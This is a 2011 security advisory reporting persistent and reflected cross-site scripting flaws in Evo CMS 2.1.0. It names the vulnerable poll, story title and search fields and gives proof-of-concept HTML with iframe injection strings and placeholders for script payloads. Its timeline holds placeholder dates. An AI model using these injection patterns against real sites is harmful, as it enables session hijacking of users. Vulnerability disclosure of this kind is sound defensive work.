Evo CMS 2.1.0 - Multiple Web Vulnerabilities

Document Title:
===============
Evo CMS 2.1.0 - Multiple Web Vulnerabilities



Release Date:
=============
2011-06-17


Vulnerability Laboratory ID (VL-ID):
====================================
191


Product & Service Introduction:
===============================
N/A


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered multiple persistent & non-persistent Vulnerabilities on EVO s Content Management System 2.1.


Vulnerability Disclosure Timeline:
==================================
2011-03-01:	Vendor Notification
2011-00-00:	Vendor Response/Feedback
2011-00-00:	Vendor Fix/Patch
2011-06-10:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
1.1
Multiple persistent Input Validation vulnerabilities are detected on EVO CMS 2.1.0. The persistent vulnerability allows 
an attacker to implement persistent malicious script codes on application-side. Attackers can manipulate Pool Voting 
requests on posts by implementing malicious script codes on topics. The successfully exploitation of the bug can lead to 
session hijacking & content request manipulation on server-side.
 
Vulnerable Module(s): 
           		 [+] Pool Topic
          		 [+] Story on News Topic

Pictures: 
           		 ../preview.title-xss.png
           		 ../pool-xss.png


1.2
A non-persistent cross site scripting vulnerability is detected on the all topics search of the application.
The vulnerability allows to hijack customer sessions with high user inter action by cross site scripting requests.

Vulnerable Module(s): 
           		 [+] All Topics Search


Pictures: 
           		 ../search-topics-xss.png



Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with user inter-action. For example or demonstration ...
 
1.1

Vote on Pool

<div align="center"><span class="title"><strong>Attach a Poll to this article</strong></span><br><span class="tiny">(Leave 

blank to post the article without any attached Poll)<br>(NOTE: Automated/Programmed news can't have attached Polls)

</span><br><br><br>Poll Title: <input name="pollTitle" size="50" maxlength="100" value=">\" <iframe="" 

src="http://test.de" type="text">" />[[[INCLUDE PERSISTENT SCRIPTCODE HERE!!]]]<br><br><font class="content">Please 

enter each available option into a single field</font><br><table border="0"><tbody><tr><td>Option 1:</td><td><input 

name="optionText[1]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 2:</td><td><input 

name="optionText[2]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 3:</td><td><input 

name="optionText[3]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 4:</td><td><input 

name="optionText[4]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 5:</td><td><input 

name="optionText[5]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 6:</td><td><input 

name="optionText[6]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 7:</td><td><input 

name="optionText[7]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 8:</td><td><input 

name="optionText[8]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 9:</td><td><input 

name="optionText[9]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 10:</td><td><input 

name="optionText[10]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 11:</td><td><input 

name="optionText[11]" size="50" maxlength="50" value="" type="text"></td></tr><tr><td>Option 12:</td><td><input 

name="optionText[12]" size="50" maxlength="50" value="" type="text"></td></tr></tbody></table></div>



Title of Story & Preview

<strong>Preview Story</strong></span></center><br><br><form action="admin.php" method="post" name="postnews"><input name="catid" 
value="0" type="hidden"><table width="75%" align="center" bgcolor="ThemeInfo['bgcolor2']" border="0" cellpadding="0" cellspacing="1">
<tbody><tr><td><table width="100%" bgcolor="#AAAFB2" border="0" cellpadding="8" cellspacing="1"><tbody><tr><td><img src="images/Topics
/phpnuke.png" alt="" align="right" border="0"><span style="font-weight: bold;">>''<[[[INCLUDE PERSISTENT SCRIPTCODE HERE!!]]]></span>
;<br /><br /></td></tr></table></td></tr></table><br /><br /><strong>Title
</strong><br /><input type="text" name="subject" size="50" value=">''<[[[INCLUDE PERSISTENT SCRIPTCODE HERE!!]]]>" />
<br /><br /><strong>Topic</strong><select name="topic">&
lt;option value="">All Topics</option><option selected='selected'  value="1">EVO CMS</option>
</select><br /><br /><table border='0' width='100%' cellspacing='0'><tr><td width='20%'><strong>Associated Topics</strong></td><td width='100%'><table border='1' cellspacing='3' cellpadding='8'><tr><td><input 
type='checkbox' name='assotop[]' value='1'  />EVO CMS</td></tr></table></td></tr></table><br /><br /><strong>Category</strong> <select name="catid"><option value="0" selected='selected'>Articles</option><option 
value="1" >Article</option></select> [ <a href="admin.php?op=AddCategory">Add</a> | <a href="admin.php?op=
EditCategory">Edit</a> | <a href="admin.php?op=DelCategory">Delete</a> ]<br /><br /><strong>Display 
Topic Icon with News Article?</strong>  <input type="radio" name="topic_icon" value="0" checked='checked' />Yes
 <input type="radio" name="topic_icon" value="1"  />No<br /><br /><strong>Display Author Writes "text" with 
News Article?</strong>  <input type="radio" name="writes" value="0" checked='checked' />Yes <input 
type="radio" name="writes" value="1"  />No<br /><br /><strong>Publish in Home?</strong>  <input 
type="radio" name="ihome" value="0" checked='checked' />Yes <input type="radio" name="ihome" value="1"  />No<br /><br /><strong>Activate Comments for this Story?</strong>  <input type="radio" name="acomm" value="0" checked='
checked' />Yes <input type="radio" name="acomm" value="1"  />No<br /><br /><br /><strong>Language: 
</strong><select name="alanguage"><option value="">All languages</option>
<option value="english" selected="selected">English</option>
</select><br /><br /><strong>Story Text</strong><script type="text/javascript">
                            var bbcode_error        = "Error:";
                            var bbcode_text_first   = "Please select the text first";

 
 
1.2

Search on all Topics

<td style="background-color: rgb(230, 230, 230);">
<span class="title">... more<br><br>Didn't find what you're looking for?</span><br><br> "<strong>>\"<[[[INCLUDE PERSISTENT SCRIPTCODE HERE!!]]]><
/strong>" Search in:<br /><br /><ul><li> <a href="modules.php?name=Downloads&op=search&query=
>\"<[[[INCLUDE PERSISTENT SCRIPTCODE HERE!!]]]>">Downloads</a> 
(0 Search Results)</li><li> <a href="modules.php?name=Web_Links&op=search&query=>\"<iframe src=
http://vulnerability-lab.com width=800 height=800>">Web Links</a> (0 Search Results)</li><li> <a href="
modules.php?name=Reviews&op=search&query=>\"<[[[INCLUDE PERSISTENT SCRIPTCODE HERE!!]]]>">Reviews&
lt;/a> (0 Search Results)</li><li> <a href="http://www.google.com/search?q=>\"<iframe src=http://vulnerability-
lab.com width=800 height=800>" target="new">Google</a></li><li> <a href="http://groups.google.com/groups?q=&
gt;\"<[[[INCLUDE PERSISTENT SCRIPTCODE HERE!!]]]>" target="new">Google Groups</a></li></ul>             
     </td>
                  <td width='10' style='background-image: url(/evocms/themes/chromo/images/new_05_br.gif)'><img src='/evocms/themes/
chromo/images/spacer.gif' alt='' width='1' height='1' /></td>
              </tr>
          </table>
          <table width='100%' border='0' cellspacing='0' cellpadding='0'>
              <tr>
                  <td width='57' height='38'><img src='/evocms/themes/chromo/images/new_06.gif' alt='' width='57' height='38' />&
lt;/td>
                  <td style='background-image: url(/evocms/themes/chromo/images/new_07_tile.gif)'><img src='/evocms/themes/chromo/images
/spacer.gif' alt='' width='1' height='1' /></td>
                  <td width='57'><img src='/evocms/themes/chromo/images/new_08.gif' alt='' width='57' height='38' /></td>



Security Risk:
==============
1.1
The security risk of the input validation vulnerabilities are estimated as medium because of the persistent attack vector.
 
1.2
The security risk of the input validation vulnerability is estimated as low because of the non-persistent attack vector.


Credits & Authors:
==================
Vulnerability Research Laboratory


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=========================
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